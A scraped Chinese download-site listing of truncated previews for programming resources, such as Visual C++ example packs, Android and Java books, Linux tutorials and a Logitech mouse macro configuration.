2012-09-15 14:27:40Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
vc++ 应用源码包_6
2012-09-15 14:59:46Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
vc++ 应用源码包_5
2012-09-15 14:45:16Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
vc++ 应用源码包_4
2012-09-15 14:38:35Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
vc++ 应用源码包_3
2012-09-15 14:33:15Visual.C++编程技巧精选500例源代码 内含各种例子(vc下各种控件的使用方法、标题栏与菜单栏、工具栏与状态栏、图标与光标、程序窗口、程序控制、进程与线程、字符串、文件读写操作、文件与文件夹属性操作、文件与... -
最近一段时间打算主攻lua
2012-02-18 17:54:06下星期准备从lua源代码入手,把各种不明白给整明白,不想从书籍中获取知识了. 公司目前在推广lua,一方面暴雪游戏是用lua的,另一方面就是淘宝也在用这个. 为了迎合公司的喜好,打算最近主攻这个,一方面也算为公司做点... -
Android 上百实例源码分析以及开源分析 集合打包4
2012-07-10 21:54:03在Jamendo中,主要是通过再定义一个SeparatedListAdapter来进行这个工作,我们来看看它是怎么实现的:我理解的Adapter过程,首先通过调用getCount()来获得总Row数目,然后对一行调用getView进行绘制,因此要实现在... -
枪械顺序请查看源代码中的 userInfo.canUse,排列顺序即枪械顺序。 以上G键功能都可以自定义设置,默认为g502设置,其他logitech系列可编程鼠标也全都支持。如果自己不会设置和调整,欢迎加群向我们询问。 G键功能...
-
Google Android开发入门与实战(09年度畅销榜TOP50)--详细书签版
2013-02-08 12:00:47从技术实现上,讲解了5个android平台下的完整综合实例及源代码分析,分别是rss阅读器、基于google map的个人gps、豆瓣网(web 2.0)客户端、在线音乐播放器、手机信息查看助手。本书注重对实际动手能力的指导,在遵循... -
软件工程教程
2012-07-06 23:10:29开发者提交的应用开发数目远超游戏开发。 任务2 软件开发计划 任务2 软件开发计划 软件开发计划 软件开发计划 问题定义-案例 项目可行性 软件开发计划 软件开发计划 可行性分析-案例1 炫铃项目的... -
网管教程 从入门到精通软件篇.txt
2010-04-25 22:43:49INP:Oracle 3.0版或早期版本的表单源代码 INRS:INRS远程通信声频 INS:InstallShield安装脚本;X-Internet签字文件;Ensoniq EPS字簇设备;Cell/ⅡMAC/PC抽样设备 INT:中间代码,当一个源程序经过语法检查后... -
Java程序员面试宝典pdf
2013-02-21 13:06:13面试题121 如何在Servlet中获取请求参数的值 206 面试题122 Forward和Redirect的区别 207 面试题123 过滤器的作用和工作原理是什么 210 面试题124 监听器的作用和工作原理是什么 211 12.2 JSP动态语言 214 面试题125... -
Linux从入门到精通
2010-04-25 19:58:09E.5.3 Red Hat Linux是否包含源代码? E.6 安装 E.6.1 我有一个空的硬盘, 并想安装DOS或Windows 95和Linux. 最好的方法是什么? E.6.2 我没有CD-ROM, 也不能从网上安装. 是否有其他方法? E.6.3 我想制作新的软盘, ... -
《Linux从入门到精通》
2008-09-04 17:05:49E.5.3 Red Hat Linux是否包含源代码? E.6 安装 E.6.1 我有一个空的硬盘, 并想安装DOS或Windows 95和Linux. 最好的方法是什么? E.6.2 我没有CD-ROM, 也不能从网上安装. 是否有其他方法? E.6.3 我想制作新的软盘, ... -
电脑蓝屏对照码
2019-05-05 14:16:40◇解决方案:请使用"事件查看器"来获取更多的信息, 从中发现错误根源.(发现好像不是解决哦, 看来这里大家要自力更生了!) 21、0x0000007F:UNEXPECTED_KERNEL_MOED_TRAP ◆错误分析:一般是由于有问题的硬件(比如:内存)...